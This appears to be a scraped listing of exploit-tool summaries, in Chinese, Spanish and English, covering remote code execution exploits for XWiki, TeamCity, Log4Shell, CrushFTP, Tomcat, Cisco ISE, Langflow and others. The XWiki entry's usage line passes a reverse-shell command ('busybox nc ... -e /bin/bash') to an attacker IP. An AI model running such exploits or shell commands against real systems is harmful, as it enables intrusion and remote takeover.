CVE-2025-24893

CVE-2025-24893 针对 XWiki 版本低于 15.10.11、16.4.1 和 16.5.0RC1 的远程代码执行漏洞利用。 用法 root@kitploit: $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' 仅用于道德目的 :...

htattack

htattack.py An exploit implementation for RCE in RTF docs CVE-2017-0199. Video in Spanish: https://www.youtube.com/watch?v=0lDvclMrymM Usage: root@kitploit: python htattack.py -u...

nGixshell

nGixShell es un escáner de CVE de nginx y un framework de explotación RCE. Incluye una prueba de concepto funcional para CVE-2026-42945 — un desbordamiento crítico de heap buffer en ngxhttprewritemodule — y un escáner que cubre 53 CVEs de nginx con sondas HTTP automatizadas, huella digital,...

teamcity-exploit-cve-2023-42793

TeamCity Exploit Cve 2023 42793 Un script rápido para explotar la vulnerabilidad cve-2023-42793. Algunas lecturas adicionales sobre el exploit se pueden encontrar aquí: https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793​...

CVE-2023-43177

CVE-2023-43177 CrushFTP = 10.5.1 远程代码执行 该仓库包含研究期间开发的RCE漏洞验证利用程序。...

L4sh

Exploit RCE Log4Shell Exploit totalmente independiente que no requiere binarios de terceros. El exploit distribuye el payload a todos los encabezados HTTP registrados posibles, como X-Forwarding , Server-IP , User-Agent Uso root@kitploit: python main.py -i lhost -u http://target:targetport -c...

CVE-2024-51567-RCE-EXPLOIT

CVE-2024-51567-RCE-EXPLOIT cbyerpanel 远程代码执行漏洞利用...

RCE-Exploit-Framework

RCE-Exploit-Framework Este framework está diseñado para ayudar a pentesters o desarrolladores a comprender los mecanismos de explotación de ejecución remota de código RCE. Características Generador de Payloads : Admite la creación de payloads personalizados basados en Python, Bash y PHP. Ejecutor...

h2database-rce-poc

H2 Console RCE Exploit Toolkit Vulnerability exploitation scr...

Exploit for Path Traversal in Vmware Cloud_Foundation

CTT-enhanced-VMware-vCenter Looking at current high-impact vul...

SweetRice-CMS-1.5.1-RCE-Exploit

SweetRice CMS 1.5.1 RCE Exploit Overview SweetRice CMS 1.5...

EUVD-2020-0163

Malware in sbrugna...

EUVD-2021-16090

Malware in sbrugna...

EUVD-2020-0162

Malware in sbrugna...

CVE-2014-125115 Pandora FMS ≤ 5.0 SP2 Default Credential SQL Injection RCE

An unauthenticated SQL injection vulnerability exists in Pandora FMS version 5.0 SP2 and earlier. The mobile/index.php endpoint fails to properly sanitize user input in the loginhashdata parameter, allowing attackers to extract administrator credentials or active session tokens via crafted...

Exploit for Deserialization of Untrusted Data in Apache Tomcat

CVE-2025-24813 Apache Tomcat RCE Exploit PoC This repository...

Exploit for Injection in Cisco Identity_Services_Engine

CVE-2025-20281-2-Cisco-ISE-RCE Unauthenticated Python PoC for...

Exploit for Code Injection in Langflow

mitsec - CVE-2025-3248 Langflow RCE Exploit Remote Code Execu...

Exploit for Improper Protection of Alternate Path in Vbulletin

Description: RCE for Vbullettin versions between 5.0.0 - 5...

Metasploit Weekly Wrap-Up 04/11/2025

Spring Exploits This weekly release of Metasploit Framework includes new RCE exploit modules for several vulnerable applications: Appsmith, a low-code application platform which contains a misconfiguration on PostgreSQL CVE-2024-55964; Pandora FMS, a monitoring solution, where, once gained access...